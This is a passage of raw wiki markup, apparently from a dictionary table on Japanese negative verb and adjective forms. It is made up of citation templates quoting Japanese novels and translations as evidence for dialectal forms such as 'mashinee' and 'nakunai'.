Man|script-title=ja:田舍醫者|title=Le médecin de campagne|trans-title=[[Le Médecin de campagne|The Country Doctor]]|volume=3|series={{#invoke:lang|lang|ja|バルザック傑作叢書}}|date=25 November 1923|translator-first=Tsutō|translator-last=Wada|publisher=Shinchosha|location=[[Ushigome]], Tokyo|authorlink=Honoré de Balzac|first=Honoré|last=de Balzac}}</ref><ref>{{#invoke:cite|book|lang=ja|script-quote=ja:「おかみさん、<ruby>此<rp>(</rp><rt>こ</rt><rp>)</rp></ruby>の<ruby>柿<rp>(</rp><rt>かき</rt><rp>)</rp></ruby>は……」<br><ruby>天<rp>(</rp><rt>てん</rt><rp>)</rp></ruby><ruby>井<rp>(</rp><rt>じやう</rt><rp>)</rp></ruby><ruby>裏<rp>(</rp><rt>うら</rt><rp>)</rp></ruby>の<ruby>蕃椒<rp>(</rp><rt>たうがらし</rt><rp>)</rp></ruby>は<ruby>眞<rp>(</rp><rt>まつ</rt><rp>)</rp></ruby><ruby>赤<rp>(</rp><rt>か</rt><rp>)</rp></ruby>だが、<ruby>薄<rp>(</rp><rt>うす</rt><rp>)</rp></ruby><ruby>暗<rp>(</rp><rt>ぐら</rt><rp>)</rp></ruby>い<ruby>納<rp>(</rp><rt>なん</rt><rp>)</rp></ruby><ruby>戶<rp>(</rp><rt>ど</rt><rp>)</rp></ruby>から、いぼ<ruby>尻<rp>(</rp><rt>じり</rt><rp>)</rp></ruby>まきの<ruby>顏<rp>(</rp><rt>かほ</rt><rp>)</rp></ruby>を<ruby>出<rp>(</rp><rt>だ</rt><rp>)</rp></ruby>して、<br>「<ruby>其<rp>(</rp><rt>そ</rt><rp>)</rp></ruby>の<ruby>柿<rp>(</rp><rt>かき</rt><rp>)</rp></ruby>かね。へい、<ruby>食<rp>(</rp><rt>た</rt><rp>)</rp></ruby>べられましない。」<br>「はあ?」<br>「まだ<ruby>澁<rp>(</rp><rt>しぶ</rt><rp>)</rp></ruby>が<ruby>拔<rp>(</rp><rt>ぬ</rt><rp>)</rp></ruby>けねえだでね。」|pp=326|url=https://dl.ndl.go.jp/pid/1684886/1/169|script-chapter=ja:小春の狐|script-title=ja:鏡花全集|volume=22|orig-date=January 1924|date=20 November 1940|authorlink=Kyōka Izumi|first=Kyōtarō|last=Izumi|publisher=Iwanami Shoten|location=[[Kanda, Tokyo]]}}</ref><ref>{{#invoke:cite|book|lang=ja|script-quote=ja:八郞次 えゝ、<ruby>出<rp>(</rp><rt>で</rt><rp>)</rp></ruby>てなりましない、<ruby>父<rp>(</rp><rt>とつ</rt><rp>)</rp></ruby><ruby>樣<rp>(</rp><rt>さま</rt><rp>)</rp></ruby>。<ruby>父<rp>(</rp><rt>とつ</rt><rp>)</rp></ruby><ruby>樣<rp>(</rp><rt>さま</rt><rp>)</rp></ruby>。(<ruby>其<rp>(</rp><rt>そ</rt><rp>)</rp></ruby>の<ruby>舌<rp>(</rp><rt>した</rt><rp>)</rp></ruby>を<ruby>吐<rp>(</rp><rt>は</rt><rp>)</rp></ruby>きのたうち<ruby>仰<rp>(</rp><rt>あふ</rt><rp>)</rp></ruby>ぐ<ruby>狀<rp>(</rp><rt>さま</rt><rp>)</rp></ruby>を、お<ruby>澤<rp>(</rp><rt>さは</rt><rp>)</rp></ruby>とともに<ruby>且<rp>(</rp><rt>か</rt><rp>)</rp></ruby>つ<ruby>指<rp>(</rp><rt>さ</rt><rp>)</rp></ruby>し、<ruby>且<rp>(</rp><rt>か</rt><rp>)</rp></ruby>つ<ruby>悲<rp>(</rp><rt>かな</rt><rp>)</rp></ruby>しみ、おろ〱<ruby>目<rp>(</rp><rt>め</rt><rp>)</rp></ruby>にて<ruby>剛<rp>(</rp><rt>がう</rt><rp>)</rp></ruby><ruby>將<rp>(</rp><rt>しやう</rt><rp>)</rp></ruby>を<ruby>仰<rp>(</rp><rt>あふ</rt><rp>)</rp></ruby>ぎ<ruby>見<rp>(</rp><rt>み</rt><rp>)</rp></ruby>る。)|p=551|url=https://dl.ndl.go.jp/pid/1682841/1/269|script-chapter=ja:戰國茶漬|script-title=ja:鏡花全集|volume=26|orig-date=January 1926|date=15 October 1942|authorlink=Kyōka Izumi|first=Kyōtarō|last=Izumi|publisher=Iwanami Shoten|location=[[Kanda, Tokyo]]}}</ref><ref>{{#invoke:cite|book|lang=ja|script-quote=ja:……けれど本當から諦め申すことは出來ましなかつたと見へました、[…]|p=270|url=https://dl.ndl.go.jp/pid/926134/1/140|script-chapter=ja:二十三|date=21 May 1926|first=Isao|last=Yamamoto|publisher=Shōbundō|location=[[Ushigome]], Tokyo|script-title=ja:業平}}</ref><ref name=nakajima-1935>{{#invoke:cite|book|lang=ja|script-quote=ja:あのいとしい心もな、もうあんた樣に逢ひ度え逢ひ度えと云つて、<span style=text-emphasis:sesame>どきどき</span>してもゐましねえ。<ruby>其<rp>(</rp><rt>そこ</rt><rp>)</rp></ruby><ruby>邊<rp>(</rp><rt>いら</rt><rp>)</rp></ruby>の室にでも忍んでゐて、私の話の終るのを、お伽噺の終るのを、待つてるんでもありましねえ。[…]<br>『もう此上あんた樣に云ふ事は何もありましねえ。』|trans-quote=The dear heart beats no more with eagerness to see you. Not in a nearby chamber is she waiting for how my narrative, or fable, ends. […]<br>“I have nothing more to tell you.”|quote=Das liebe Herz ſchlägt nicht mehr vor Ungeduld, Sie zu ſehen, nicht etwa in einer benachbarten Kammer wartet ſie auf den Ausgang meiner Erzählung, oder meines Märchens; […] Jch habe Jhnen weiter nichts zu ſagen,|p=205|url=https://dl.ndl.go.jp/pid/1237456/1/110|script-chapter=ja:第七卷|chapter=Siebentes Buch|trans-chapter=Seventh Book|script-title=ja:ヸルヘルム・マイステルの修行時代|trans-title=[[Wilhelm Meister’s Apprenticeship]]|title=Wilhelm Meiſters Lehrjahre|translator-last=Nakajima|translator-first=Kiyoshi|authorlink=Johann Wolfgang von Goethe|first=Johann Wolfgang|last=von Goethe|publisher={{#invoke:lang|lang|ja|ゲーテ全集刊行會}}|location=[[Yodobashi]], Tokyo|volume=2|series={{#invoke:lang|lang|ja|ゲーテ全集}}|date=15 September 1935}}</ref><ref>{{#invoke:cite|book|lang=ja|script-quote=ja:「こんな流しは私ア初めて見た。東亰には田舍のやうな上流しはありましねえかね。」<br>「無いこともないが田舍は何でも仕掛が豪いで。まア東亰に少し住んで見ろ。田舍へなぞ歸つて迚も居られるものではないぞ。」<br>「何だか知らねえが、私は<ruby>家<rp>(</rp><rt>うち</rt><rp>)</rp></ruby>のやうな氣がしまねえ。」母親は滌いでゐた德利をそこに置いたまま、何も彼も都合の好く出來てゐる、田舍のがつしりした家を可懷しく思つた。<br>[…]<br>「さんざお世話になつて、また<ruby>其<rp>(</rp><rt>そ</rt><rp>)</rp></ruby><ruby>樣<rp>(</rp><rt>ん</rt><rp>)</rp></ruby>な物をお貰ひ申しちや濟みましねえ。」<br>[…]<br>「あすこも近頃は<ruby>身<rp>(</rp><rt>しん</rt><rp>)</rp></ruby><ruby>上<rp>(</rp><rt>じやう</rt><rp>)</rp></ruby>を作つたさうで、<ruby>良人<rp>(</rp><rt>おやぢ</rt><rp>)</rp></ruby>からお庄をくれてやらうかなんて言つて寄越しましたけれど、<ruby>私<rp>(</rp><rt>わし</rt><rp>)</rp></ruby>は返事もしましねえ。」母親が父親の事を怒つてゐる風がお庄にも可笑しく思はれた。|pp=258, 287, 352|url=https://dl.ndl.go.jp/pid/1207113/1/132|script-title=ja:秋聲全集|volume=3|authorlink=Shūsei Tokuda|first=Shūsei|last=Tokuda|script-chapter=ja:足迹|date=20 October 1936|publisher=Hibonkaku|location=[[Koishikawa]], Tokyo}}</ref><ref>{{#invoke:cite|book|lang=ja|script-quote=ja:『おん<ruby>大<rp>(</rp><rt>たい</rt><rp>)</rp></ruby><ruby>將<rp>(</rp><rt>しやう</rt><rp>)</rp></ruby>らしく<ruby>御<rp>(</rp><rt>ご</rt><rp>)</rp></ruby><ruby>甲<rp>(</rp><rt>かつ</rt><rp>)</rp></ruby><ruby>冑<rp>(</rp><rt>ちう</rt><rp>)</rp></ruby>して、<ruby>會<rp>(</rp><rt>くわい</rt><rp>)</rp></ruby><ruby>所<rp>(</rp><rt>しよ</rt><rp>)</rp></ruby>へお<ruby>出<rp>(</rp><rt>で</rt><rp>)</rp></ruby>ましないことには、<ruby>軍<rp>(</rp><rt>いくさ</rt><rp>)</rp></ruby><ruby>評<rp>(</rp><rt>ひやう</rt><rp>)</rp></ruby><ruby>定<rp>(</rp><rt>ぢやう</rt><rp>)</rp></ruby>がなりませうか?』|p=113|url=https://dl.ndl.go.jp/pid/1150652/1/61|series={{#invoke:lang|lang|ja|歷史小說安土・桃山 織田信長}}|script-title=ja:人質交換|volume=2|date=24 April 1941|authorlink=Ukō Washio|first=Ukō|last=Washio|publisher=Shunjusha|location=[[Nihonbashi]], Tokyo}}</ref><ref name=masuda-1942>{{#invoke:cite|book|lang=ja|script-quote=ja:「へい<ruby>俺<rp>(</rp><rt>わし</rt><rp>)</rp></ruby>かな、之れでも五年位下がつてゐますべい。でもお蔭樣で痛くも痒くもありましない」<br>[…]<br>「別に氣にもかけましないが、生徒さんが<ruby>痰<rp>(</rp><rt>たん</rt><rp>)</rp></ruby><ruby>瘤<rp>(</rp><rt>こぶ</rt><rp>)</rp></ruby>爺々々々つて面白がつて引張りますので時に痛くしやすよ」<br>[…]<br>「先生がなあ瘤ぢやありますめい。瘤は<ruby>俺<rp>(</rp><rt>わし</rt><rp>)</rp></ruby><ruby>共<rp>(</rp><rt>ども</rt><rp>)</rp></ruby>の樣な下等のやつに出來る化物で、先生なんぞに出來る等のもんぢやありましないや」[…]「まるで俺がな菎蒻でがす。之れで<ruby>內<rp>(</rp><rt>なか</rt><rp>)</rp></ruby>に何があるもんでやんすがな。瘤は出來ても別に金持に成りさうにもありましない」|pp=139–140|url=https://dl.ndl.go.jp/pid/1128594/1/76|script-chapter=ja:短篇|script-title=ja:草笛|date=19 July 1942|editor-last=Hagiwara|editor-first=Ragetsu|publisher=Masuda, Nao|last=Masuda|first=Kyūka|location=[[Fukiage, Saitama]]}}</ref><ref>{{#invoke:cite|book|lang=ja|script-quote=ja:それから間もなくの事です。<br>或日、甚兵衞老人は朝早く村長さんの家をたづねて、<br>『村長さん、每度御面倒かけてすみましねえが、伜に手紙一本お願げえしますだ。別れる時に、言ひ忘れた事を思出して、急に心配になつて、今朝早くやつて來ましただ。』|trans-quote=Not long later.<br>One day, old man Jinbee paid a visit to the Mayor’s house early in the morning,<br>“Mr Mayor, ah’m sorry for keepin’ troublin’ you, but cudja please write a letter to mah son? When ah left, ah remember whut ah forgot to say, ah suddenly got worried, so ah came here early dis mornin’”|p=104|url=https://dl.ndl.go.jp/pid/1719896/1/57|script-chapter=ja:木槌の響|trans-chapter=Sound of a Mallet|script-title=ja:將軍と兵卒|trans-title=Generals and Troops|date=20 September 1943|first=Sueo|last=Abe|publisher=Hakurin Shobō|location=[[Shiba, Tokyo]]}}</ref><ref>{{#invoke:cite|book|lang=ja|script-quote=ja:茶屋 人殺しは何處へ逃げた〱。<br>皆々 何處を探しても見えましない。|url=https://dl.ndl.go.jp/pid/1885051/1/197|p=379|script-chapter=ja:助六|script-title=ja:歌舞伎十八番 ―研究と作品―|date=5 July 1944|last=Kawatake|first=Shigetoshi|publisher=Toyokunisha|location=[[Koishikawa]], Tokyo}}</ref><ref>{{#invoke:cite|book|lang=ja|script-quote=ja:こりや疵のついたもんだに祝いごとにやア使はれまいと持つて來ましない。|p=85|url=https://dl.ndl.go.jp/pid/1125583/1/47|script-chapter=ja:『膝栗毛』と能・狂言|date=20 August 1947|script-title=ja:大臣柱|last=Nogami|first=Toyoichirō|publisher=Nohgaku Shorin|location=[[Itabashi]], Tokyo}}</ref><br><ref>{{#invoke:cite|book|lang=ja|script-quote=ja:わしにもむすこがあるだが、ばくちが好きで八年あとに家を飛び出したまま帰ってきましねえ。[…]<br>「ハイ。だが、ときのはずみでなんともわかりましねえだ」|pp=92, 137|url=https://dl.ndl.go.jp/pid/1649256/1/49|script-title=ja:清水の次郎長|publisher=Shunyodo|volume=1|series={{#invoke:lang|lang|ja|春陽堂文庫}}|authorlink=Shōfū Muramatsu|first=Shōfū|last=Muramatsu|date=3 May 1962|location=[[Chūō, Tokyo]]}}</ref><ref>{{#invoke:cite|book|lang=ja|script-quote=ja:「[…]それにおまえ様のことを祈っておる者は大ぜいありますだで、おまえ様がわずらいなどなされるはずがござりましねえだよ」<br>[…]<br>「義務ちゅうことは知っとるだよ、グリゴリイ・ワシーリエヴィッチ。だけんど、どういうわけでわしらがここに残っておるちゅうことが義務なもんか、それがいっこうわかりましねえだよ」とマルファが強情に答えた。<br>[…]<br>「へえ、全くくださる気づけえはござりましねえとも」とミートリイも笑いだした。「どうも、旦那、ありがとうございます、ちゃんとお寄り申しますよ」|trans-quote=“[…] Besides, there’re many people who’re prayin’ for you, there’s no way you’d fall ill.”<br>[…]<br>“I know what duty means, Grigory Vassilyevitch. What I don’t get one bit is why it’s our duty to be stayin’ here,” Marfa mulishly replied.<br>[…]<br>“Indeed, he won’t bother givin’ any,” Mitry laughed, too. “Many thanks, sir, I’ll be sure to drop in on him.”|quote=Да и мало ли за тебя молебщиков, тебе ль хворать?<br>[…]<br>— Про долг я понимаю, Григорий Васильевич, но какой нам тут долг, чтобы нам здесь оставаться, того ничего не пойму, — ответила твердо Марфа Игнатьевна.<br>[…]<br>— А и впрямь не дадут, — засмеялся и Митрий. — Спасибо, сударь, непременно выполним…|title=Братья Карамазовы|trans-title=[[The Brothers Karamazov]]|script-title=ja:カラマゾフの兄弟|edition=[[Kanzenban|complete]]|first=Fyodor Mikhailovich|last=Dostoevsky|authorlink=Fyodor Dostoevsky|date=22 March 2013|translator-first=Shōzaburō|translator-last=Nakayama|publisher=Goma Books|orig-date=30 August 1968|url=https://www.aozora.gr.jp/cards/000363/files/42286_37300.html}}</ref><ref>{{#invoke:cite|book|lang=ja|script-quote=ja:ありましねえ……=Nargues. 戯訳。南フランス・トゥルゥーズ地方の方言で、non(否)の義。――尚、本書第一七章(一二二頁一六行)にも、この語が用いられているが、固有名詞としてである。|trans-quote=''Naw''……=''Nargues.'' Humorous translation. Means ''non'' (“no”) in a dialect from the Toulouse region in southern France.――This word is also used as a proper noun in Chapter 17 (page 122, line 16) of this book.|p=472|series={{#invoke:lang|lang|ja|岩波文庫}}|script-chapter=ja:訳者略註|trans-chapter=Translator’s Notes|script-title=ja:第四之書 パンタグリュエル物語|volume=4|publisher=Iwanami Shoten|trans-title=The Fourth Book: The Tales of [[Pantagruel]]|title=Le QVART LIVRE ''des faicts et dicts Heroıques du bon Pantagruel.''|first=François|last=Rabelais|authorlink=François Rabelais|translator-first=Kazuo|translator-last=Watanabe|date=20 July 1975|orig-date=6 November 1974|edition=2nd|location=[[Chiyoda, Tokyo]]}}</ref><ref name=okubo-takeuchi-1977-mashinee>{{#invoke:cite|book|lang=ja|pp=63, 72, 88, 90–91, 163, 169, 171|script-quote=ja:「でも、お嬢さま、そりゃできましねえだ」<br>[…]わたしを買おうとなさるかたはいるでしょうが、わたしを悲しませないために娘のプリシーまでいっしょに買ってくださるかたはいましねえだ。[…]「あなたがパーティでみなの衆から行儀がわるいなどといわれるのをきくのは、わたしはがまんがなりましねえだよ。<ruby>貴婦人<rp>(</rp><rt>レディ</rt><rp>)</rp></ruby>というものは、小鳥のようにすこししか食べねえものだと、わたしは、なんど申しましたことか。[…]」<br>[…]<br>「日のあたるところでショールをとってはなりましねえだ。それから、いくら暑くても帽子はかぶっていなせえよ」とマミーは命令した。[…]<br>「いんや、いけましねえ」とマミーはきびしく言った。[…]<br>「スカーレット嬢さまでがすね? ピティさまの御者のピーターでごぜえますだ。あっ、泥んなかへおおりになっちゃいけましねえだ」と、スカーレットがおりようとしてスカートをたくし上げたのを見ると、彼は、きびしく命令した。[…]いやいや、あれがどこの国の外国人か、それはわしも知りましねえだ。ピティさまはイギリス人だというとるが、しかし、あれたちのしゃべることばは、だれにもわからねえだ。えらい煤煙じゃて。この煤煙のために、ピティさまの絹のカーテンがだめにされてしまうのですわい。鉄工場や車輌工場が吹き上げる煤煙ですだよ。夜のうるせえことといったらありましねえ! だれも眠ることもできねえ。[…]<br>「知りましねえ」|quote=“But, honey, you kain do dat!”<br>[…] Lots of gentlemens might a’ bought me but they wouldn’t a’ bought my Prissy, too, jes’ to keep me frum grievin’ and I thanks you. […] “Ah ain’ gwine stand by an’ have eve’ybody at de pahty sayin’ how you ain’ fotched up right. Ah has tole you an’ tole you dat you kin allus tell a lady by dat she eat lak a bird. […]”<br>[…]<br>“You keep yo’ shawl on yo’ shoulders w’en you is in de sun, an’ doan you go takin’ off yo’ hat w’en you is wahm,” she commanded. […]<br>“No, you ain’,” said Mammy grimly. […]<br>“Dis Miss Scarlett, ain’ it? Dis hyah Peter, Miss Pitty’s coachman. Doan step down in dat mud,” he ordered severely, as Scarlett gathered up her skirts preparatory to descending. […] No’m, Ah ain’ sho whut kine of furriners dey is. Miss Pitty, she say dey is Inlish but kain nobody unnerstan a’ wud dey says. Yas’m ’tis pow’ful smoky an’ de soot jes’ ruinin’ Miss Pitty’s silk cuttins. It’ frum de foun’ry an’ de rollin’ mills. An’ de noise dey meks at night! Kain nobody sleep. […]<br>“Ah doan know.”|script-title=ja:風と共に去りぬ|title=[[Gone with the Wind (novel)|Gone with the Wind]]|volume=Ⅰ|publisher=Shueisha|series={{#invoke:lang|lang|ja|世界文学全集}}|editor={{#invoke:lang|lang|ja|綜合社}}|location=[[Chiyoda, Tokyo]]|date=25 February 1978|orig-date=3 June 1977|translator-last=Ōkubo|translator-first=Yasuo|translator-first2=Michinosuke|translator-last2=Takeuchi|authorlink=Margaret Mitchell|first=Margaret Munnerlyn|last=Mitchell}}</ref><ref>{{#invoke:cite|book|lang=ja|script-quote=ja:そ そんな大それたことをするようなお<ruby>方<rp>(</rp><rt>かた</rt><rp>)</rp></ruby>ではございましねえだ|trans-quote=I-It’s not like him to do something so outrageous|p=247|script-chapter=ja:第十八話 <ruby>羽<rp>(</rp><rt>は</rt><rp>)</rp></ruby><ruby>根<rp>(</rp><rt>ね</rt><rp>)</rp></ruby>と<ruby>骨<rp>(</rp><rt>ほね</rt><rp>)</rp></ruby>と|trans-chapter=Chapter 18: Feathers and Bones|script-title=ja:ケイの<ruby>凄春<rp>(</rp><rt>せいしゅん</rt><rp>)</rp></ruby>|trans-title=[[Kei no Seishun|The Trying Youth of Kei]]|title=Kei|last2=Kojima|first2=Gōseki|authorlink2=Goseki Kojima|authorlink=Kazuo Koike|first=Kazuo|last=Koike|volume=3|series=ACTION COMICS De Luxe|publisher=Futabasha|isbn=4-575-81534-9|date=14 May 1989|location=[[Shinjuku]], Tokyo}}</ref><ref>{{#invoke:cite|book|lang=ja|script-quote=ja:――じゃ、晩のご飯は食べていないね?<br>――そりゃはあ、お嬢様、時間がねえでごぜえます。<br>――じゃ、いまご飯をあげるから、叔父さんはまだパンがあるかい?<br>――ちっとしか残っておりましねえ。だけんど、一番足りねえのは火薬でごぜえます。<ruby>栗<rp>(</rp><rt>くり</rt><rp>)</rp></ruby>がみのってまいりましたから、今じゃ入用なのは火薬だけでごぜえます。<br>――じゃ、叔父さんへ持って行くようにパンを一つと、それから火薬をあげよう。火薬の方はだいじに使ってちょうだいと言っておくれ、高いからね。|trans-quote=— And you’ve had no supper?<br>— Why no, Miss, I haven’t had time.<br>— Then let’s get you some supper now. Has your uncle any bread left?<br>— Not much left, Miss. But it’s powder that he’s shortest on. The chestnuts are already in, and now what he needs is only powder.<br>— I’ll give you a loaf to bring to him, and some powder, too. Tell him to manage it well, it’s very dear.|quote=— Et tu n’as pas soupé ?<br>— Dame ! non, mademoiselle, je n’ai pas eu le temps.<br>— On va te donner à souper. Ton oncle a-t-il du pain encore ?<br>— Peu, mademoiselle ; mais c’est de la poudre surtout qui lui manque. Voilà les châtaignes venues, et maintenant il n’a plus besoin que de poudre.<br>— Je vais te donner un pain pour lui et de la poudre. Dis-lui qu’il la ménage, elle est chère.|script-chapter=ja:十|chapter=X|translator-first=Toshio|translator-last=Sugi|publisher=Gutenberg21|location=[[Setagaya]], Tokyo|title=Colomba|authorlink=Prosper Mérimée|first=Prosper|last=Mérimée|date=19 December 2012}}</ref><ref>{{#invoke:cite|book|lang=ja|script-quote=ja:【使者】 知りましねえ。それはあんたをわしにくれた男が、わしよりよう知ってるだ。|trans-quote=[Messenger] I do not know. The man who gave thee to me knows more of that than I do.|script-chapter=ja:オイディプス王|trans-chapter=[[Oedipus Rex|King Oedipus]]|chapter=Οἰδίπους Τύραννος|script-title=ja:ギリシア悲劇全集|trans-title=The Complete Collection of Greek Tragedies|author=[[Sophocles]]|translator-first=Keijirō|translator-last=Uchiyama|date=20 May 2016|publisher=Gutenberg21|location=[[Setagaya]], Tokyo}}</ref><ref>{{#invoke:cite|book|lang=ja|script-quote=ja:「いや、もし神父さま方がだね、おいしいご馳走、やわらかいベッドがお好きだとおっしゃるならだよ、ここからもう二、三マイルおいでになるがようがすよ。すりゃ、ブリンクスワスの修道院がござるによってな。そこなら、もうあんた、上等とびきりのお<ruby>接待<rp>(</rp><rt>せったい</rt><rp>)</rp></ruby>は、ぜったいまちがいございましねえだよ。それとも、懺悔、悔改めの一夜をお<ruby>明<rp>(</rp><rt>あか</rt><rp>)</rp></ruby>しになりたいとおっしゃるならば、あの向うの森の空地をくだっておいでになることだな。すれば、コマナーストの<ruby>庵室<rp>(</rp><rt>あんしつ</rt><rp>)</rp></ruby>ってのがござるによってな、そこの隠者さまなら、一夜のお宿だろうと、お祈りの功徳だろうと、よろこんで分けてくださるにさまってるだよね」|quote=“If the reverend fathers,” he said, “loved good cheer and soft lodging, few miles of riding would carry them to the priory of Brinxworth, where their quality could not but secure them the most honourable reception; or if they preferred spending a penitential evening, they might turn down yonder wild glade, which would bring them to the hermitage of Copmanhurst, where a pious anchoret would make them sharers for the night of the shelter of his roof and the benefit of his prayers.”|script-chapter=ja:二|chapter=Chapter II.|title=[[Ivanhoe]]|script-title=ja:アイヴァンホー|volume=1|publisher=Gutenberg21|location=[[Setagaya]], Tokyo|authorlink=Walter Scott|first=Walter|last=Scott|translator-first=Yoshio|translator-last=Nakano|date=16 December 2016}}</ref><ref>{{#invoke:cite|book|lang=ja|script-quote=ja:百「お武家さま。それじゃお気の毒だが、さんまを上げるわけには行きましねえ。断わっておくんなせえ」|trans-quote=Psnt “Mr Samurai. Ah’m terribly sorry, but ah cain’t offer ya a saury. Please stop askin’.”|script-title=ja:目黒のさんま|trans-title=Meguro Saury|editor-first=Nobuo|editor-last=Imamura|publisher=Gutenberg21|location=[[Setagaya]], Tokyo|date=3 July 2020}}</ref><ref>{{#invoke:cite|book|lang=ja|script-quote=ja:カプタは酒で気勢をつけると、いまにも消えいりそうな声でいった。「旦那様、炬火をつけましょう。つけたって、外から光が見えるようなことはありましねえだよ。第一こんなに何が何やらわからねえのは、死んだみてえな暗闇よりいけませんわ。この死も、もうのがれることはできましねえよ。だけど、わしらは自分たちで勝手に、こんなとこにへえったんでごぜえますからな」|trans-quote=When Kaptah gained courage with wine, he said with a voice that was just about to falter, “My Lord, let us light up a torch. Its light won’t be seen from the outside. That we cannot make anything out is, above all, worse than the darkness of death, which is impossible to escape. But we did willingly enter this place.”|quote=Rohkaistuaan mieltään viinillä Kaptah sanoi vaisulla äänellä: »Herrani, sytytetään soihtu, sillä valo ei täältä paista ulos ja tämä pimeys on hirveämpi manalan pimeyttä, jota ei kukaan voi välttää, mutta tähän pimeään olemme astuneet vapaaehtoisesti.»|script-chapter=ja:第八章 暗黒の宮|trans-chapter=Chapter Eight: The House of Darkness|chapter=Kahdeksas kirja: Pimeä talo|title=Sinuhe egyptiläinen|trans-title=[[The Egyptian]]|script-title=ja:エジプト人|volume=1|first=Mika Toimi|last=Waltari|authorlink=Mika Waltari|translator-first=Yoshihide|translator-last=Iijima|publisher=Gutenberg21|location=[[Setagaya]], Tokyo|date=27 May 2022}}</ref><ref>{{#invoke:cite|book|lang=ja|quote=‘ It’s noan Nelly ! ’ answered Joseph. ‘ I sudn’t shift for Nelly—nasty ill nowt as shoo is. Thank God ! ''shoo'' cannot stale t’ sowl o’ nob’dy ! Shoo wer niver soa handsome, but what a body mud look at her ’bout winking. It’s yon flaysome, graceless quean, that’s witched our lad, wi’ her bold een and her forrard ways—till——Nay ! it fair brusts my heart ! He’s forgotten all I’ve done for him, and made on him, and goan and riven up a whole row o’ t’ grandest currant-trees i’ t’ garden ! ’ and here he lamented outright ; unmanned by a sense of his bitter injuries, and Earnshaw’s ingratitude and dangerous condition.|script-quote=ja:「ネリーの話じゃござりましねえ! ネリーがいやだから出てゆくわしでがすか?――意地のわるい、やくざな女にゃちげえねえが、ありがてえこった! ネリーにはひとの魂を盗むことはできねえ! あの女は器量もあんまりよくねえから、ひとがまぶしがってまともに顔が見られねえなんてことはありましねえだ。いけずうずうしい色目を使って<ruby>口説<rp>(</rp><rt>くどき</rt><rp>)</rp></ruby>まいて、うちの若旦那をたぶらかしたのは、そこにいるおっかねえ<ruby>外道<rp>(</rp><rt>げどう</rt><rp>)</rp></ruby>の王女さまでがすぞ――そのあげくに――いいやもう! わしや肝が<ruby>煎<rp>(</rp><rt>い</rt><rp>)</rp></ruby>れてなんねえわ! 若旦那は、この<ruby>年月<rp>(</rp><rt>としつき</rt><rp>)</rp></ruby>、わしが尽した忠義も丹誠もみんな忘れて、庭いちばんのスグリの木を、ごっそり引っこ抜いてしまわっしゃるとは!」ここで爺さんは手ばなしで泣き出しました。あまりに残酷な迫害を<ruby>蒙<rp>(</rp><rt>こうむ</rt><rp>)</rp></ruby>ったくやしさやら、アーンショーの忘恩と、恋に眼がくらんでいる危ない身の上への嘆きやらで、意地も張りも抜けた風情でした。|script-chapter=ja:33|chapter=Chapter XXXIII|publisher=Gutenberg21|location=[[Setagaya]], Tokyo|first=Emily Jane|last=Brontë|authorlink=Emily Brontë|translator-first=Seijirō|translator-last=Tanaka|date=26 August 2022|title=[[Wuthering Heights]]|script-title=ja:嵐が丘}}</ref>}}
|-
! colspan=5 style=text-align:left | Adjectives and adjectival auxiliaries
|-
| {{#invoke:nihongo|nihongo_krt|not|〜ない|‑nai}}
| rowspan=2 style=text-align:right | '''<span style="color:#04b">{{#invoke:lang|lang|ja|ない}}</span>'''
| rowspan=2 style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|な}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|く<br>のう}}</span>'''
| rowspan=2 style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|ない}}</span>'''
| {{#invoke:nihongo|nihongo_krt|not not|〜なくない|‑naku nai}}<ref>{{#invoke:cite|book|lang=ja|script-quote=ja:「でも、なんでこんなところにコンビニがあるんだろうね? お客さんだってあんまり来なくない?」<br>ケンタの素朴な疑問は、私こそ思っていたことだ。<br>だけど、それをケンタにあえて言うわけにはいかない。多分言ってはいけない。直感的にそう思った。すると、すかさずラフレ姫が話に入る。<br>「ここは駅からもそう遠くないですし、意外に利用者は多いんですよ」<br>もちろん、利用者なんて全然多くない。むしろ、限られた人しか来ない。一ヶ月、このお店の店員をしているが、ほとんど顔見知りしか来ないのだ。|trans-quote=“Say, why’s there a convenience store in a place like this? Do shoppers come here that often?”<br>I was wondering the exact same thing Kenta was asking.<br>But I can’t bring myself to tell him that, or maybe I shouldn’t, my gut tells me. And without hesitation, Princess Lafre gets in on the convo.<br>“The station isn’t that far from here, there’re surprisingly many patrons.”<br>Of course, there aren’t many at all, but only a handful as a matter of fact. I’ve been clerking here for a month and pretty much only the same faces’ve come here.|script-chapter=ja:10 異世界チートの代償って何?|chapter=10: How Much for a Cheat in the Otherworld|script-title=ja:異世界コンビニ|trans-title=Otherworld Convenience Store|last=Enoki|first=Yū|publisher=AlphaPolis|date=23 January 2015}}</ref><ref>{{#invoke:cite|book|lang=ja|script-quote=ja:傷ついた人間は、普通そんな風に笑わなくないですか? 視線だけでそう訴えるものの、オルランド殿下は軽く無視して、<br>「帰りましょうか、一緒に」なんて告げて私の腕を掴む。|script-chapter=ja:第二章 第五皇子殿下は観賞用『には』ぴったりです|script-title=ja:前世を思い出して王子の追っかけを止めたら、逆に迫られています|date=30 September 2022|publisher=AlphaPolis|last=Ōgi|first=Renna}}</ref><ref>{{#invoke:cite|book|lang=ja|script-quote=ja:「最初は心ないことを言われたときもあったけど、よそ者を警戒する気持ちもわからなくないわ」という彼女は、まわりをよく観察していて、不安をとり<ruby>除<rp>(</rp><rt>のぞ</rt><rp>)</rp></ruby>いてあげる言葉をかけたり、地域の活動にも尽力したり。だんだんまわりに彼女ファンが増えて、それが強力なサポーターになっていったのです。|p=177|script-chapter=ja:第5章 自分軸があれば振り回されない|script-title=ja:「<ruby>振<rp>(</rp><rt>ふ</rt><rp>)</rp></ruby>り<ruby>回<rp>(</rp><rt>まわ</rt><rp>)</rp></ruby>されない」<ruby>女<rp>(</rp><rt>ひと</rt><rp>)</rp></ruby>は<ruby>人<rp>(</rp><rt>じん</rt><rp>)</rp></ruby><ruby>生<rp>(</rp><rt>せい</rt><rp>)</rp></ruby>をとことん<ruby>楽<rp>(</rp><rt>たの</rt><rp>)</rp></ruby>しめる|date=25 May 2023|last=Arikawa|first=Mayumi|publisher=Shuwa System|isbn=978-4-7980-6985-2}}</ref><br>{{#invoke:nihongo|nihongo_krt||〜のうない|‑nō nai}}<ref>{{#invoke:cite|book|lang=ja|script-quote=ja:『兄さんかて何も詰ら無うない仕事をしてるんやないやないか』|p=205|url=https://dl.ndl.go.jp/pid/907227/1/109|script-chapter=ja:父の出奔後|script-title=ja:家付女房|authorlink=Hōmei 